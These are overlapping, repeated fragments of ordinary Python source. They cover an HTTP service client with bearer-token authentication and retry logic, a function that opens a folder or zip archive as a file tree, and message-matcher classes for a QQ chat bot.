"token: Optional[str] = None, ): self.base_url = base_url.rstrip(\"/\") self.token =",
"str :return: str \"\"\" return f\"{self.base_url}{path}\" def _make_request(self, request: Callable,",
"import requests from requests.auth import AuthBase from requests.exceptions import RequestException",
"= self._get_http_auth() return session def _get_http_auth(self): \"\"\" Class method to",
"return r class ServiceClient: DEFAULT_MAX_RETRIES = 0 def __init__( self,",
"r): r.headers['Authorization'] = f'Bearer {self.token}' return r class ServiceClient: DEFAULT_MAX_RETRIES",
"url :param path: str :return: str \"\"\" return f\"{self.base_url}{path}\" def",
"dict: \"\"\" Class method to make request :param request: Callable",
"ServiceClient: DEFAULT_MAX_RETRIES = 0 def __init__( self, base_url: str, token:",
"authentication \"\"\" if self.token: return BearerAuth(self.token) def make_full_url(self, path: str)",
"requests from requests.auth import AuthBase from requests.exceptions import RequestException class",
"base_url: str, token: Optional[str] = None, ): self.base_url = base_url.rstrip(\"/\")",
"self.session.close() def _create_client_session(self): \"\"\" Class method to create client session",
"session = requests.Session() session.auth = self._get_http_auth() return session def _get_http_auth(self):",
"Class method to make request :param request: Callable :return: dict",
"\"\"\" if self.token: return BearerAuth(self.token) def make_full_url(self, path: str) ->",
"def make_full_url(self, path: str) -> str: \"\"\" Class method to",
"__init__(self, token): self.token = token def __call__(self, r): r.headers['Authorization'] =",
"path: str) -> str: \"\"\" Class method to make full",
"self.base_url = base_url.rstrip(\"/\") self.token = token self.session = self._create_client_session() def",
"\"\"\" session = requests.Session() session.auth = self._get_http_auth() return session def",
"as e: if retries > 0 and e.request.status >= 500:",
"import RequestException class BearerAuth(AuthBase): def __init__(self, token): self.token = token",
"session \"\"\" session = requests.Session() session.auth = self._get_http_auth() return session",
"\"\"\" Class method to resolve http authentication \"\"\" if self.token:",
"def __call__(self, r): r.headers['Authorization'] = f'Bearer {self.token}' return r class",
"resolve http authentication \"\"\" if self.token: return BearerAuth(self.token) def make_full_url(self,",
"Class method to create client session \"\"\" session = requests.Session()",
"str: \"\"\" Class method to make full url :param path:",
"to close user session \"\"\" self.session.close() def _create_client_session(self): \"\"\" Class",
"create client session \"\"\" session = requests.Session() session.auth = self._get_http_auth()",
"return BearerAuth(self.token) def make_full_url(self, path: str) -> str: \"\"\" Class",
"> 0 and e.request.status >= 500: return self._make_request(request=request, retries=retries -",
":return: str \"\"\" return f\"{self.base_url}{path}\" def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES,",
"self, base_url: str, token: Optional[str] = None, ): self.base_url =",
"make request :param request: Callable :return: dict \"\"\" try: with",
"Optional, Callable import requests from requests.auth import AuthBase from requests.exceptions",
"= self._create_client_session() def _dispose(self): \"\"\" Class method to close user",
"<gh_stars>0 from typing import Optional, Callable import requests from requests.auth",
"session def _get_http_auth(self): \"\"\" Class method to resolve http authentication",
"f\"{self.base_url}{path}\" def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\"",
"make full url :param path: str :return: str \"\"\" return",
"try: with request(**kwargs) as resp: resp.raise_for_status() return resp.json() except RequestException",
"token def __call__(self, r): r.headers['Authorization'] = f'Bearer {self.token}' return r",
"def _get_http_auth(self): \"\"\" Class method to resolve http authentication \"\"\"",
"\"\"\" Class method to close user session \"\"\" self.session.close() def",
"__init__( self, base_url: str, token: Optional[str] = None, ): self.base_url",
"request :param request: Callable :return: dict \"\"\" try: with request(**kwargs)",
"= None, ): self.base_url = base_url.rstrip(\"/\") self.token = token self.session",
"method to make full url :param path: str :return: str",
":param request: Callable :return: dict \"\"\" try: with request(**kwargs) as",
"base_url.rstrip(\"/\") self.token = token self.session = self._create_client_session() def _dispose(self): \"\"\"",
"= f'Bearer {self.token}' return r class ServiceClient: DEFAULT_MAX_RETRIES = 0",
"user session \"\"\" self.session.close() def _create_client_session(self): \"\"\" Class method to",
"\"\"\" Class method to create client session \"\"\" session =",
"typing import Optional, Callable import requests from requests.auth import AuthBase",
"return resp.json() except RequestException as e: if retries > 0",
"500: return self._make_request(request=request, retries=retries - 1, **kwargs) else: raise e",
"__call__(self, r): r.headers['Authorization'] = f'Bearer {self.token}' return r class ServiceClient:",
"to make full url :param path: str :return: str \"\"\"",
"request: Callable :return: dict \"\"\" try: with request(**kwargs) as resp:",
"make_full_url(self, path: str) -> str: \"\"\" Class method to make",
"RequestException class BearerAuth(AuthBase): def __init__(self, token): self.token = token def",
"self.token: return BearerAuth(self.token) def make_full_url(self, path: str) -> str: \"\"\"",
"requests.Session() session.auth = self._get_http_auth() return session def _get_http_auth(self): \"\"\" Class",
"return f\"{self.base_url}{path}\" def _make_request(self, request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict:",
"= token self.session = self._create_client_session() def _dispose(self): \"\"\" Class method",
"client session \"\"\" session = requests.Session() session.auth = self._get_http_auth() return",
"self.session = self._create_client_session() def _dispose(self): \"\"\" Class method to close",
"to create client session \"\"\" session = requests.Session() session.auth =",
"and e.request.status >= 500: return self._make_request(request=request, retries=retries - 1, **kwargs)",
"resp.json() except RequestException as e: if retries > 0 and",
"resp.raise_for_status() return resp.json() except RequestException as e: if retries >",
"request: Callable, retries=DEFAULT_MAX_RETRIES, **kwargs) -> dict: \"\"\" Class method to",
"class ServiceClient: DEFAULT_MAX_RETRIES = 0 def __init__( self, base_url: str,",
"f'Bearer {self.token}' return r class ServiceClient: DEFAULT_MAX_RETRIES = 0 def",
"0 def __init__( self, base_url: str, token: Optional[str] = None,",
"BearerAuth(AuthBase): def __init__(self, token): self.token = token def __call__(self, r):",
"class BearerAuth(AuthBase): def __init__(self, token): self.token = token def __call__(self,",
"request(**kwargs) as resp: resp.raise_for_status() return resp.json() except RequestException as e:",
"as resp: resp.raise_for_status() return resp.json() except RequestException as e: if",
"path: str :return: str \"\"\" return f\"{self.base_url}{path}\" def _make_request(self, request:",
"retries > 0 and e.request.status >= 500: return self._make_request(request=request, retries=retries",
"session.auth = self._get_http_auth() return session def _get_http_auth(self): \"\"\" Class method",
"method to make request :param request: Callable :return: dict \"\"\"",
"Callable import requests from requests.auth import AuthBase from requests.exceptions import",
"from requests.auth import AuthBase from requests.exceptions import RequestException class BearerAuth(AuthBase):"
] |
[
"connection to a file tree which can be either a",
"to write a zip file in memory (at which case",
"files will be written inside the target and some files",
"return Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif",
"directory, it is returned as-is. replace If True, will remove",
"in-memory zip archive. Parameters ---------- target Either the path to",
"(at which case a string of the zip file is",
"and some files may be overwritten. \"\"\" if isinstance(target, Directory):",
"If True, will remove the target if it already exists.",
"inside the target and some files may be overwritten. \"\"\"",
"a disk folder, a zip archive, or an in-memory zip",
"from .DiskFileManager import DiskFileManager from .Directory import Directory import string",
"in s) def file_tree(target, replace=False): \"\"\"Open a connection to a",
"file, or '@memory' to write a zip file in memory",
"the target and some files may be overwritten. \"\"\" if",
"in printable for c in s) def file_tree(target, replace=False): \"\"\"Open",
".DiskFileManager import DiskFileManager from .Directory import Directory import string printable",
"zip archive. Parameters ---------- target Either the path to a",
"or a zip file, or '@memory' to write a zip",
"zip file, or '@memory' to write a zip file in",
"a target folder, or a zip file, or '@memory' to",
"to a target folder, or a zip file, or '@memory'",
"folder, or a zip file, or '@memory' to write a",
"it is returned as-is. replace If True, will remove the",
"== \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target,",
"memory (at which case a string of the zip file",
"the target if it already exists. If False, new files",
"an in-memory zip archive. Parameters ---------- target Either the path",
"target == \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target,",
"printable = set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s): return any(c not",
"exists. If False, new files will be written inside the",
"shutil from .ZipFileManager import ZipFileManager from .DiskFileManager import DiskFileManager from",
"if isinstance(target, Directory): return target if (not isinstance(target, str)) or",
"Directory import string printable = set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s):",
"isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\":",
"archive. Parameters ---------- target Either the path to a target",
"already a flametree directory, it is returned as-is. replace If",
"import ZipFileManager from .DiskFileManager import DiskFileManager from .Directory import Directory",
"\"\"\"Open a connection to a file tree which can be",
"from .Directory import Directory import string printable = set(string.printable) -",
"a flametree directory, it is returned as-is. replace If True,",
"remove the target if it already exists. If False, new",
"set(\"\\x0b\\x0c\") def is_hex(s): return any(c not in printable for c",
"---------- target Either the path to a target folder, or",
"can be either a disk folder, a zip archive, or",
"written inside the target and some files may be overwritten.",
"either a disk folder, a zip archive, or an in-memory",
"is already a flametree directory, it is returned as-is. replace",
"If False, new files will be written inside the target",
"file in memory (at which case a string of the",
"a connection to a file tree which can be either",
"file is returned) If the target is already a flametree",
"be overwritten. \"\"\" if isinstance(target, Directory): return target if (not",
"be either a disk folder, a zip archive, or an",
"flametree directory, it is returned as-is. replace If True, will",
"False, new files will be written inside the target and",
"string printable = set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s): return any(c",
"target Either the path to a target folder, or a",
"of the zip file is returned) If the target is",
"string of the zip file is returned) If the target",
"True, will remove the target if it already exists. If",
"a zip archive, or an in-memory zip archive. Parameters ----------",
"it already exists. If False, new files will be written",
"Either the path to a target folder, or a zip",
"is_hex(s): return any(c not in printable for c in s)",
"which case a string of the zip file is returned)",
"= set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s): return any(c not in",
"replace=False): \"\"\"Open a connection to a file tree which can",
"import string printable = set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s): return",
"if (not isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target",
"elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target, replace=replace)) else: return Directory(target, file_manager=DiskFileManager(target))",
"(not isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target ==",
"import DiskFileManager from .Directory import Directory import string printable =",
"target folder, or a zip file, or '@memory' to write",
"folder, a zip archive, or an in-memory zip archive. Parameters",
"return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target, replace=replace)) else:",
"will be written inside the target and some files may",
"some files may be overwritten. \"\"\" if isinstance(target, Directory): return",
"returned) If the target is already a flametree directory, it",
"if it already exists. If False, new files will be",
"or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\": return Directory(\"@memory\",",
"zip file in memory (at which case a string of",
"disk folder, a zip archive, or an in-memory zip archive.",
"ZipFileManager from .DiskFileManager import DiskFileManager from .Directory import Directory import",
"import os import shutil from .ZipFileManager import ZipFileManager from .DiskFileManager",
"Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target, replace=replace)) else: return",
"zip archive, or an in-memory zip archive. Parameters ---------- target",
"replace If True, will remove the target if it already",
"'@memory' to write a zip file in memory (at which",
"new files will be written inside the target and some",
"already exists. If False, new files will be written inside",
"os import shutil from .ZipFileManager import ZipFileManager from .DiskFileManager import",
"which can be either a disk folder, a zip archive,",
"s) def file_tree(target, replace=False): \"\"\"Open a connection to a file",
"target is already a flametree directory, it is returned as-is.",
"file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target, replace=replace)) else: return Directory(target,",
"printable for c in s) def file_tree(target, replace=False): \"\"\"Open a",
"a string of the zip file is returned) If the",
"return any(c not in printable for c in s) def",
"path to a target folder, or a zip file, or",
"Parameters ---------- target Either the path to a target folder,",
"the target is already a flametree directory, it is returned",
"If the target is already a flametree directory, it is",
"a zip file, or '@memory' to write a zip file",
".ZipFileManager import ZipFileManager from .DiskFileManager import DiskFileManager from .Directory import",
"target if it already exists. If False, new files will",
"or '@memory' to write a zip file in memory (at",
"as-is. replace If True, will remove the target if it",
"files may be overwritten. \"\"\" if isinstance(target, Directory): return target",
"Directory): return target if (not isinstance(target, str)) or is_hex(target): return",
"str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\": return",
"file_tree(target, replace=False): \"\"\"Open a connection to a file tree which",
"zip file is returned) If the target is already a",
"import shutil from .ZipFileManager import ZipFileManager from .DiskFileManager import DiskFileManager",
"<gh_stars>100-1000 import os import shutil from .ZipFileManager import ZipFileManager from",
"is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\"))",
"target and some files may be overwritten. \"\"\" if isinstance(target,",
"def is_hex(s): return any(c not in printable for c in",
"from .ZipFileManager import ZipFileManager from .DiskFileManager import DiskFileManager from .Directory",
".Directory import Directory import string printable = set(string.printable) - set(\"\\x0b\\x0c\")",
"archive, or an in-memory zip archive. Parameters ---------- target Either",
"a file tree which can be either a disk folder,",
"not in printable for c in s) def file_tree(target, replace=False):",
"def file_tree(target, replace=False): \"\"\"Open a connection to a file tree",
"case a string of the zip file is returned) If",
"write a zip file in memory (at which case a",
"or an in-memory zip archive. Parameters ---------- target Either the",
"a zip file in memory (at which case a string",
"be written inside the target and some files may be",
"may be overwritten. \"\"\" if isinstance(target, Directory): return target if",
"tree which can be either a disk folder, a zip",
"returned as-is. replace If True, will remove the target if",
"in memory (at which case a string of the zip",
"return target if (not isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target))",
"is returned as-is. replace If True, will remove the target",
"DiskFileManager from .Directory import Directory import string printable = set(string.printable)",
"the path to a target folder, or a zip file,",
"the zip file is returned) If the target is already",
"file tree which can be either a disk folder, a",
"overwritten. \"\"\" if isinstance(target, Directory): return target if (not isinstance(target,",
"set(string.printable) - set(\"\\x0b\\x0c\") def is_hex(s): return any(c not in printable",
"c in s) def file_tree(target, replace=False): \"\"\"Open a connection to",
"- set(\"\\x0b\\x0c\") def is_hex(s): return any(c not in printable for",
"will remove the target if it already exists. If False,",
"\"\"\" if isinstance(target, Directory): return target if (not isinstance(target, str))",
"elif target == \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return",
"import Directory import string printable = set(string.printable) - set(\"\\x0b\\x0c\") def",
"is returned) If the target is already a flametree directory,",
"Directory(file_manager=ZipFileManager(source=target)) elif target == \"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"):",
"target if (not isinstance(target, str)) or is_hex(target): return Directory(file_manager=ZipFileManager(source=target)) elif",
"isinstance(target, Directory): return target if (not isinstance(target, str)) or is_hex(target):",
"to a file tree which can be either a disk",
"\"@memory\": return Directory(\"@memory\", file_manager=ZipFileManager(\"@memory\")) elif target.lower().endswith(\".zip\"): return Directory(target, file_manager=ZipFileManager(target, replace=replace))",
"for c in s) def file_tree(target, replace=False): \"\"\"Open a connection",
"any(c not in printable for c in s) def file_tree(target,"
] |
[
"= sock.recv(80) print data sock.send('TTS[en-US] very well, thank you!\\n\\r') data",
"import sys import socket import time ip = '127.0.0.1' port",
"ip = '127.0.0.1' port = 9001 if (len(sys.argv)>1): ip =",
"socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80) print data sock.send('TTS[it-IT]",
"<reponame>artigianitecnologici/marrtino_apps import sys import socket import time ip = '127.0.0.1'",
"= 9001 if (len(sys.argv)>1): ip = sys.argv[1] if (len(sys.argv)>2): port",
"default language is english!\\n\\r') data = sock.recv(80) print data sock.send('bop\\n\\r')",
"is english!\\n\\r') data = sock.recv(80) print data sock.send('bop\\n\\r') data =",
"print data sock.send('bop\\n\\r') data = sock.recv(80) print data time.sleep(1) sock.close()",
"if (len(sys.argv)>1): ip = sys.argv[1] if (len(sys.argv)>2): port = int(sys.argv[2])",
"stai?\\n\\r') data = sock.recv(80) print data sock.send('TTS[en-US] very well, thank",
"socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80) print data sock.send('TTS[it-IT] ciao,",
"if (len(sys.argv)>2): port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port))",
"come stai?\\n\\r') data = sock.recv(80) print data sock.send('TTS[en-US] very well,",
"print data sock.send('TTS[en-US] very well, thank you!\\n\\r') data = sock.recv(80)",
"sock.recv(80) print data sock.send('bop\\n\\r') data = sock.recv(80) print data time.sleep(1)",
"= sys.argv[1] if (len(sys.argv)>2): port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET,",
"sock.send('TTS[en-US] very well, thank you!\\n\\r') data = sock.recv(80) print data",
"time ip = '127.0.0.1' port = 9001 if (len(sys.argv)>1): ip",
"sock.send('TTS default language is english!\\n\\r') data = sock.recv(80) print data",
"well, thank you!\\n\\r') data = sock.recv(80) print data sock.send('TTS default",
"sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80) print data sock.send('TTS[it-IT] ciao, come",
"sock.recv(80) print data sock.send('TTS default language is english!\\n\\r') data =",
"sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data = sock.recv(80) print data sock.send('TTS[en-US]",
"(len(sys.argv)>1): ip = sys.argv[1] if (len(sys.argv)>2): port = int(sys.argv[2]) sock",
"sock.recv(80) print data sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data = sock.recv(80)",
"9001 if (len(sys.argv)>1): ip = sys.argv[1] if (len(sys.argv)>2): port =",
"data sock.send('TTS default language is english!\\n\\r') data = sock.recv(80) print",
"ciao, come stai?\\n\\r') data = sock.recv(80) print data sock.send('TTS[en-US] very",
"port = 9001 if (len(sys.argv)>1): ip = sys.argv[1] if (len(sys.argv)>2):",
"= sock.recv(80) print data sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data =",
"you!\\n\\r') data = sock.recv(80) print data sock.send('TTS default language is",
"thank you!\\n\\r') data = sock.recv(80) print data sock.send('TTS default language",
"print data sock.send('TTS default language is english!\\n\\r') data = sock.recv(80)",
"ip = sys.argv[1] if (len(sys.argv)>2): port = int(sys.argv[2]) sock =",
"language is english!\\n\\r') data = sock.recv(80) print data sock.send('bop\\n\\r') data",
"= sock.recv(80) print data sock.send('bop\\n\\r') data = sock.recv(80) print data",
"print data sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data = sock.recv(80) print",
"= socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80) print data",
"import time ip = '127.0.0.1' port = 9001 if (len(sys.argv)>1):",
"data = sock.recv(80) print data sock.send('TTS[en-US] very well, thank you!\\n\\r')",
"import socket import time ip = '127.0.0.1' port = 9001",
"socket import time ip = '127.0.0.1' port = 9001 if",
"'127.0.0.1' port = 9001 if (len(sys.argv)>1): ip = sys.argv[1] if",
"data sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data = sock.recv(80) print data",
"sock.send('bip\\n\\r') data = sock.recv(80) print data sock.send('TTS[it-IT] ciao, come stai?\\n\\r')",
"data sock.send('TTS[en-US] very well, thank you!\\n\\r') data = sock.recv(80) print",
"port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data",
"very well, thank you!\\n\\r') data = sock.recv(80) print data sock.send('TTS",
"data = sock.recv(80) print data sock.send('TTS[it-IT] ciao, come stai?\\n\\r') data",
"sock.recv(80) print data sock.send('TTS[en-US] very well, thank you!\\n\\r') data =",
"= '127.0.0.1' port = 9001 if (len(sys.argv)>1): ip = sys.argv[1]",
"sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80) print",
"data = sock.recv(80) print data sock.send('TTS default language is english!\\n\\r')",
"english!\\n\\r') data = sock.recv(80) print data sock.send('bop\\n\\r') data = sock.recv(80)",
"data = sock.recv(80) print data sock.send('bop\\n\\r') data = sock.recv(80) print",
"sys import socket import time ip = '127.0.0.1' port =",
"= sock.recv(80) print data sock.send('TTS default language is english!\\n\\r') data",
"(len(sys.argv)>2): port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r')",
"sys.argv[1] if (len(sys.argv)>2): port = int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
"int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data = sock.recv(80)",
"= int(sys.argv[2]) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip,port)) sock.send('bip\\n\\r') data ="
] |
[
"self.friend_qq = friend_qq def match(self, ctx) -> bool: if not",
"from ..utils import is_str_blank, str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx):",
"def get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None) @abstractmethod def match(self, ctx)",
"return msg_cell.get(\"type\", None) @abstractmethod def match(self, ctx) -> bool: pass",
"List[str] def __init__(self, me_qq, cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list",
"me_qq def match(self, ctx) -> bool: if not super().match(ctx): return",
"__name__ == \"__main__\": msg_matcher = JustAtMeMsg(123) class Ctx: def __init__(self,",
"\"\", \"remark\": \"\"}, \"messageChain\": [ {\"type\": \"Source\", \"id\": 123456, \"time\":",
"bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg): def match(self, ctx)",
"self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self,",
"not super().match(ctx): return False return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg):",
"None: self.msg = msg msg = { \"type\": \"GroupMessage\", \"sender\":",
"\"\"}, \"messageChain\": [ {\"type\": \"Source\", \"id\": 123456, \"time\": 123456}, {\"type\":",
"get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None) @abstractmethod def match(self, ctx) ->",
"group_qq def match(self, ctx) -> bool: if not super().match(ctx): return",
"match(self, ctx) -> bool: pass class GroupMsg(MsgMatcher): def match(self, ctx)",
"super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class",
"friend_qq: int def __init__(self, friend_qq) -> None: super(SpecificFriendMsg, self).__init__() self.friend_qq",
"AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell, ) from ..utils",
"self.cmd_list = cmd def match(self, ctx) -> bool: if not",
"match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.FriendMessage class TempMsg(MsgMatcher):",
"False return self.friend_qq == FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int def",
"__init__(self, msg) -> None: self.msg = msg msg = {",
"ABC, abstractmethod from typing import List from .common import (",
"super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At",
"if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) plain =",
"me_qq, cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq) self.cmd_list = cmd def",
"ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher): def",
"False msg_chain = self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class",
"super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq def match(self, ctx) -> bool:",
"-> bool: if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx)",
"import is_str_blank, str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain()",
"TempMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.TempMessage",
"cmd_list: List[str] def __init__(self, me_qq, cmd) -> None: super(AtMeCmdMsg, self).__init__(me_qq)",
"super(AtMeMsg, self).__init__() self.me_qq = me_qq def match(self, ctx) -> bool:",
"super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) plain = PlainCell(msg_chain[2]) return",
"return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self, me_qq, cmd)",
"msg_chain = GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return self.me_qq == at.target()",
"[ {\"type\": \"Source\", \"id\": 123456, \"time\": 123456}, {\"type\": \"At\", \"target\":",
"friend_qq def match(self, ctx) -> bool: if not super().match(ctx): return",
"AtMeMsg(AtMsg): me_qq: int def __init__(self, me_qq) -> None: super(AtMeMsg, self).__init__()",
"\"time\": 123456}, {\"type\": \"At\", \"target\": 1234, \"display\": \"@Mirai\"}, {\"type\": \"Plain\",",
"group_qq) -> None: super(SpecificGroupMsg, self).__init__() self.group_qq = group_qq def match(self,",
"= JustAtMeMsg(123) class Ctx: def __init__(self, msg) -> None: self.msg",
"= msg msg = { \"type\": \"GroupMessage\", \"sender\": {\"id\": 123,",
"PlainCell(msg_chain[2]) return is_str_blank(plain.text()) class AtMeCmdMsg(AtMeMsg): cmd_list: List[str] def __init__(self, me_qq,",
"@abstractmethod def match(self, ctx) -> bool: pass class GroupMsg(MsgMatcher): def",
"{ \"type\": \"GroupMessage\", \"sender\": {\"id\": 123, \"nickname\": \"\", \"remark\": \"\"},",
"ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self, msg_cell): return msg_cell.get(\"type\", None) @abstractmethod",
"GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell, ) from ..utils import is_str_blank,",
"import ( AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell, )",
"JustAtMeMsg(AtMeMsg): def __init__(self, me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq) def match(self,",
"not super().match(ctx): return False return self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__",
"is_str_blank, str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def",
"def __init__(self, friend_qq) -> None: super(SpecificFriendMsg, self).__init__() self.friend_qq = friend_qq",
"class GroupMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() ==",
"ctx) -> bool: if not super().match(ctx): return False msg_chain =",
"SpecificFriendMsg(FriendMsg): friend_qq: int def __init__(self, friend_qq) -> None: super(SpecificFriendMsg, self).__init__()",
"GroupMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage",
"typing import List from .common import ( AtCell, BasicMessage, GroupMessage,",
"str_contains class MsgMatcher(ABC): def msg_chain_from_ctx(self, ctx): return BasicMessage(ctx.msg).messageChain() def get_cell_type(self,",
"return False msg_chain = self.msg_chain_from_ctx(ctx) return str_contains(PlainCell(msg_chain[2]).text(), self.cmd_list) class SpecificFriendMsg(FriendMsg):",
"return BasicMessage(ctx.msg).type() == MessageType.TempMessage class AtMsg(GroupMsg): def match(self, ctx) ->",
"( AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell, ) from",
"msg_cell.get(\"type\", None) @abstractmethod def match(self, ctx) -> bool: pass class",
"def match(self, ctx) -> bool: if not super().match(ctx): return False",
"== MsgCellType.At class AtMeMsg(AtMsg): me_qq: int def __init__(self, me_qq) ->",
"-> bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self,",
"= GroupMessage(ctx.msg).messageChain() at = AtCell(msg_chain[1]) return self.me_qq == at.target() class",
"class FriendMsg(MsgMatcher): def match(self, ctx) -> bool: return BasicMessage(ctx.msg).type() ==",
"AtCell(msg_chain[1]) return self.me_qq == at.target() class JustAtMeMsg(AtMeMsg): def __init__(self, me_qq)",
"bool: return BasicMessage(ctx.msg).type() == MessageType.GroupMessage class FriendMsg(MsgMatcher): def match(self, ctx)",
"__init__(self, me_qq) -> None: super(JustAtMeMsg, self).__init__(me_qq) def match(self, ctx) ->",
"msg_chain = self.msg_chain_from_ctx(ctx) return self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg): me_qq:",
"import ABC, abstractmethod from typing import List from .common import",
"\"__main__\": msg_matcher = JustAtMeMsg(123) class Ctx: def __init__(self, msg) ->",
"return self.get_cell_type(msg_chain[1]) == MsgCellType.At class AtMeMsg(AtMsg): me_qq: int def __init__(self,",
"from .common import ( AtCell, BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType,",
"super().match(ctx): return False return self.group_qq == GroupMessage(ctx.msg).group_qq() if __name__ ==",
"== FriendMessage(ctx.msg).friend_qq() class SpecificGroupMsg(GroupMsg): group_qq: int def __init__(self, group_qq) ->",
"bool: if not super().match(ctx): return False msg_chain = self.msg_chain_from_ctx(ctx) plain",
"BasicMessage, GroupMessage, FriendMessage, MsgCellType, MessageType, PlainCell, ) from ..utils import",
"int def __init__(self, group_qq) -> None: super(SpecificGroupMsg, self).__init__() self.group_qq =",
"bool: if not super().match(ctx): return False return self.friend_qq == FriendMessage(ctx.msg).friend_qq()",
"\"sender\": {\"id\": 123, \"nickname\": \"\", \"remark\": \"\"}, \"messageChain\": [ {\"type\":",
"= group_qq def match(self, ctx) -> bool: if not super().match(ctx):",
